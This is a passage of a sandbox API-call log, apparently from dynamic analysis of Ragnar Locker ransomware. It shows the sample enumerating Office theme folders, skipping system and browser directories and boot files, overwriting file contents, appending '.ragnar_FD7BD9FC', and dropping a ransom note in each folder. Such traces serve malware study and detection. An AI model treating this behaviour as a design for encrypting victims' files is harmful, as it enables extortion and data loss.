nNumberOfBytesToUnlockLow=0x90f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.371] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.371] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x90f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.371] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.371] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.371] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.371] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.371] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.371] GetProcessHeap () returned 0x580000 [0075.371] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.372] CloseHandle (hObject=0x10c) returned 1 [0075.372] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" [0075.372] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.372] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.372] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.372] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.372] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2=".") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="..") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Windows") returned -1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Windows.old") returned -1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Tor browser") returned -1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Internet Explorer") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Google") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Opera") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Opera Software") returned 1 [0075.372] lstrcmpiW (lpString1="RADIAL", lpString2="Mozilla") returned 1 [0075.373] lstrcmpiW (lpString1="RADIAL", lpString2="Mozilla Firefox") returned 1 [0075.373] lstrcmpiW (lpString1="RADIAL", lpString2="$Recycle.Bin") returned 1 [0075.373] lstrcmpiW (lpString1="RADIAL", lpString2="ProgramData") returned 1 [0075.373] lstrcmpiW (lpString1="RADIAL", lpString2="All Users") returned 1 [0075.373] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.373] lstrcpyW (in: lpString1=0x1eb638, lpString2="RADIAL" | out: lpString1="RADIAL") returned="RADIAL" [0075.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\" [0075.373] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\" [0075.373] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RGNR_FD7BD9FC.txt" [0075.373] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.375] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*" [0075.375] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.375] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.375] lstrcpyW (in: lpString1=0x1ea75a, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f2c1240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.376] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f2c1240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.376] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.376] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0075.376] lstrcmpiW (lpString1="RADIAL.ELM", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="..") returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0075.376] lstrcmpiW (lpString1="RADIAL.INF", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="RADIAL.INF", lpString2="..") returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2c1240, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.376] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.376] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.376] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.376] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f2c1240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f2c1240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f2c1240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.376] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.377] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.377] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.377] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned=".GIF" [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0075.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0075.377] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0075.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0075.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0075.378] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1666) returned 1 [0075.378] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x679, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.378] GetProcessHeap () returned 0x580000 [0075.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.378] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.380] VirtualAlloc (lpAddress=0x0, dwSize=0x682, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.380] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.380] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.380] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x682, lpOverlapped=0x0) returned 1 [0075.380] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.380] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x682, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.380] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x682, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x682, lpOverlapped=0x0) returned 1 [0075.380] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x682, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.380] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.381] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.381] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.381] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.381] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.381] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.381] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.381] GetProcessHeap () returned 0x580000 [0075.381] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.381] CloseHandle (hObject=0x100) returned 1 [0075.381] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" [0075.381] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.381] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.383] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0075.383] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0075.383] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RADIAL.ELM" | out: lpString1="RADIAL.ELM") returned="RADIAL.ELM" [0075.383] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM") returned=".ELM" [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="autorun.inf") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="boot.ini") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="bootfont.bin") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="bootsect.bak") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="bootmgr") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="bootmgr.efi") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="bootmgfw.efi") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="desktop.ini") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="iconcache.db") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="ntldr") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="ntuser.dat") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="ntuser.dat.log") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="ntuser.ini") returned 1 [0075.384] lstrcmpiW (lpString1="RADIAL.ELM", lpString2="thumbs.db") returned -1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0075.384] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0075.384] lstrcmpiW 